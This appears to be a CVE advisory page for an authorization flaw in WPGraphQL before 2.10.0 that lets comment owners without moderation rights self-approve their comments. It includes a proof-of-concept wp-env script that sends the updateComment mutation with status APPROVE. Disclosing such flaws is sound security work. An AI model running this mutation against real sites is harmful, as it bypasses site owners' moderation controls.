CVE-2026-33290WPGraphQL provides a GraphQL API for WordPress sites.

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

CVSS

4.3 MEDIUM (v3.1, NVD)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Weakness (CWE)

CWE-862

Known exploited

Not in CISA's KEV catalog

EPSS (exploitation in the next 30 days)

Not loaded for this CVE

Assigned by

Not given

NVD analysis

Deferred

Record last updated

Jun 17, 2026

First seen by InfoSec Signals

Oct 9, 2026

The CVE record on cve.org · NVD's entry

The CVE record is authoritative. Products marked “from the name” were identified from the CNA's free-text names, not a CPE, and are matched less certainly. This product uses the NVD API but is not endorsed or certified by the NVD.